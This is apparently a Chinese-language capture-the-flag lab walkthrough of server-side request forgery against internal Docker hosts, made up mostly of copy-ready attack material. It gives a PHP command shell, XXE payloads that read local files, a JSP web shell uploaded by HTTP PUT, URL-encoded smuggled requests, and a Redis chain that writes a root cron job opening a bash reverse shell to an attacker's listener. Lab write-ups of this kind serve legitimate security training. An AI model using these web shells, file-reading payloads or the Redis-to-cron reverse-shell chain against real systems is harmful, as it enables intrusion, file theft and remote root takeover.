SSRF（Server-Side Request Forgery，服务端请求伪造）#

1
<?php
2
highlight_file(__FILE__);
3

4
$cmd = $_GET['cmd'];
5
if (isset($cmd)) {
6
    echo "<pre>";
7
    system($cmd);
8
    echo "</pre>";
9
}
10
?>

1
http://172.72.23.22/shell.php?cmd=whoami

1
http://172.72.23.22/shell.php?cmd=find / -name "*flag*" 2>/dev/null

1
http://172.72.23.22/shell.php?cmd=cat /flag

1
<!ENTITY xxe "Hello">        ← 定义宏：名字叫 xxe，内容是 Hello
2
<username>&xxe;</username>   ← 使用宏：&名字; 会被替换成内容

1
<!ENTITY xxe SYSTEM "file:///flag">   ← 内容 = 本地文件 /flag 的内容！

1
请求结果
2
<!DOCTYPE html>
3
<html>
4
<head>
5
    <meta charset="UTF-8">
6
    <title>XXE漏洞实验环境</title>
7
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
8
    <style>
9
        body { padding-top: 50px; }
10
        .login-container {
11
            max-width: 500px;
12
            margin: 0 auto;
13
            padding: 15px;
14
        }
15
        .form-group { margin-bottom: 15px; }
16
    </style>
17
</head>
18
<body>
19
    <div class="container login-container">
20
        <div class="card">
21
            <div class="card-body">
22
                <h2 class="text-center mb-4">用户登录</h2>
23
                <div class="form-group">
24
                    <label for="username">用户名</label>
25
                    <input type="text" class="form-control" id="username">
26
                    <small class="form-text text-muted">默认用户名：admin</small>
27
                </div>
28
                <div class="form-group">
29
                    <label for="password">密码</label>
30
                    <input type="password" class="form-control" id="password">
31
                    <small class="form-text text-muted">默认密码：admin</small>
32
                </div>
33
                <button type="submit" class="btn btn-primary w-100" onclick="login()">登录</button>
34
                <div id="result" class="mt-3"></div>
35
            </div>
36
        </div>
37
    </div>
38

39
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
40
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
41

42
    <script type='text/javascript'>
43
    function login(){
44
        var username = $("#username").val();
45
        var password = $("#password").val();
46
        if(username == "" || password == ""){
47
            Swal.fire({
48
                icon: 'error',
49
                title: '错误',
50
                text: '用户名或密码不能为空'
51
            });
52
            return;
53
        }
54

55
        var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
56
        $.ajax({
57
            type: "POST",
58
            url: window.location.href,
59
            contentType: "application/xml;charset=utf-8",
60
            data: data,
61
            dataType: "xml",
62
            success: function (result) {
63
                var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
64
                var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
65
                if(code == "0"){
66
                    Swal.fire({
67
                        icon: 'error',
68
                        title: '登录失败',
69
                        text: '用户名或密码错误'
70
                    });
71
                }else if(code == "1"){
72
                    Swal.fire({
73
                        icon: 'success',
74
                        title: '登录成功',
75
                        text: 'XXE！，' + msg
76
                    });
77
                }else{
78
                    Swal.fire({
79
                        icon: 'error',
80
                        title: '系统错误',
81
                        text: msg
82
                    });
83
                }
84
            },
85
            error: function(xhr, status, error) {
86
                Swal.fire({
87
                    icon: 'error',
88
                    title: '请求错误',
89
                    text: error
90
                });
91
            }
92
        });
93
    }
94
    </script>
95
</body>
96
</html>

1
POST /index.php HTTP/1.1
2
Host: 172.72.23.25
3
Content-Type: application/xml
4
Content-Length: 86
5

6
<?xml version="1.0"?><user><username>admin</username><password>admin</password></user>

1
%50%4f%53%54%20%2f%69%6e%64%65%78%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%35%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%36%0a%0a%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%3c%75%73%65%72%3e%3c%75%73%65%72%6e%61%6d%65%3e%61%64%6d%69%6e%3c%2f%75%73%65%72%6e%61%6d%65%3e%3c%70%61%73%73%77%6f%72%64%3e%61%64%6d%69%6e%3c%2f%70%61%73%73%77%6f%72%64%3e%3c%2f%75%73%65%72%3e

1
POST /index.php HTTP/1.1
2
Host: 172.72.23.25
3
Content-Type: application/xml
4
Content-Length: 139
5

6
<?xml version="1.0"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///flag">]><user><username>&xxe;</username><password>admin</password></user>

1
%50%4f%53%54%20%2f%69%6e%64%65%78%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%35%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%33%39%0a%0a%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%75%73%65%72%20%5b%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%5d%3e%3c%75%73%65%72%3e%3c%75%73%65%72%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%75%73%65%72%6e%61%6d%65%3e%3c%70%61%73%73%77%6f%72%64%3e%61%64%6d%69%6e%3c%2f%70%61%73%73%77%6f%72%64%3e%3c%2f%75%73%65%72%3e

1
<%@ page import="java.io.*"%><%String c=request.getParameter("cmd");Process p=Runtime.getRuntime().exec(c);BufferedReader b=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=b.readLine())!=null)out.println(l);%>

1
PUT /cmd.jsp/ HTTP/1.1
2
Host: 172.72.23.26:8080
3
Content-Length: 241
4

5
<%@ page import="java.io.*"%><%String c=request.getParameter("cmd");Process p=Runtime.getRuntime().exec(c);BufferedReader b=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=b.readLine())!=null)out.println(l);%>

1
%50%55%54%20%2f%63%6d%64%2e%6a%73%70%2f%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%36%3a%38%30%38%30%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%32%34%31%0a%0a%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%3c%25%53%74%72%69%6e%67%20%63%3d%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%50%72%6f%63%65%73%73%20%70%3d%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%29%3b%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%62%3d%6e%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%53%74%72%69%6e%67%20%6c%3b%77%68%69%6c%65%28%28%6c%3d%62%2e%72%65%61%64%4c%69%6e%65%28%29%29%21%3d%6e%75%6c%6c%29%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6c%29%3b%25%3e

1
GET /cmd.jsp?cmd=cat%20/flag HTTP/1.1
2
Host: 172.72.23.26:8080

1
%47%45%54%20%2f%63%6d%64%2e%6a%73%70%3f%63%6d%64%3d%63%61%74%25%32%30%2f%66%6c%61%67%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%36%3a%38%30%38%30%0a

1
INFO  让 Redis 报告自己的信息（版本、模式等）
2
QUIT  让 Redis 关闭连接

1
gopher://172.72.23.27:6379/_%49%4e%46%4f%0a%51%55%49%54%0a

1
docker network connect ssrf-labs_ssrf_labs boring_keldysh

1
docker exec ssrf-labs-web4_commandexec-1 tar cf - -C / bin/busybox lib/ld-musl-x86_64.so.1 | docker exec -i boring_keldysh tar xf - -C /

1
docker exec -it boring_keldysh /bin/busybox nc -l -p 4444

1
CONFIG SET dir /var/spool/cron   → 把Redis的"存盘目录"改成root定时任务目录
2
CONFIG SET dbfilename root       → 把"存盘文件名"改成root
3
SET xx "\n* * * * * bash -i >& /dev/tcp/172.72.23.2/4444 0>&1\n" →往数据库塞一个名叫xx的key,值=""里的
4
SAVE                             → 立即存盘:数据库内容落盘成/var/spool/cron/root
5
QUIT                             → 关闭连接,响应才能回来

1
* * * * *                        cron时间表:每分钟执行一次后面的命令
2
bash -i                          启动一个交互式bash(-i=interactive,带提示符、能敲命令)
3
>& /dev/tcp/172.72.23.2/4444     把输出发到这条TCP连接(/dev/tcp/IP/端口是bash的特殊文件,往里写=发TCP)；
4
0>&1                             把键盘输入也接到同一条连接(0=标准输入,1=标准输出)

1
① 探测：gopher 发 INFO 到 172.72.23.27:6379
2
    │  回显 redis_version:5.0.5 → 确认是 Redis；
3
    │  没发 AUTH 就有数据 → 未授权实锤（有密码此处只回 NOAUTH）
4
    ▼
5
② 寻找利用点：Redis 没有"读文件"的命令 → 直接读 flag 出局；
6
    │  但 SAVE 落盘 + CONFIG SET dir / dbfilename 运行时可改 + SET 控制内容
7
    │  三者拼成：任意路径、任意文件名、任意内容的文件写入原语
8
    ▼
9
③ 选目标文件：盘点这台机上什么服务会"自动执行文件内容"
10
    │  无 web（80/8080 探测无响应 → webshell 出局）
11
    │  无 sshd → 写 authorized_keys 出局
12
    │  CONFIG SET dir /var/spool/cron 回 +OK（目录真实存在）
13
    │  + 写测试命令一分钟后被执行 → crond 在跑 → 写 crontab 胜出
14
    ▼
15
④ 落地：CONFIG SET dir /var/spool/cron → CONFIG SET dbfilename root
16
         → SET xx "\n* * * * * bash -i >& /dev/tcp/172.72.23.2/4444 0>&1\n"
17
         → SAVE → QUIT
18
    │  内核：SET 值里的 \n 让 cron 行从 RDB 开头的二进制杂讯里独立成行，
19
    │  cron 逐行解析时才会认它（前后 \n 就是隔离带）
20
    ▼
21
⑤ 引爆：crond 每分钟整点执行 root 任务文件 → bash 反连 attacker:4444
22
    │  内核：本链全程无回显（Redis 读不了文件、cron 输出不经过 Redis）
23
    │  → 结果必须走带外，反弹 shell 就是那条外带通道
24
    ▼
25
⑥ 接应：attacker(172.72.23.2:4444) 的 nc 收到反连
26
    │  目标机 root 终端长在监听窗口 → cat /flag
27
    ▼
28
⑦ helloct{you_got_flag_27} → 通关 ✅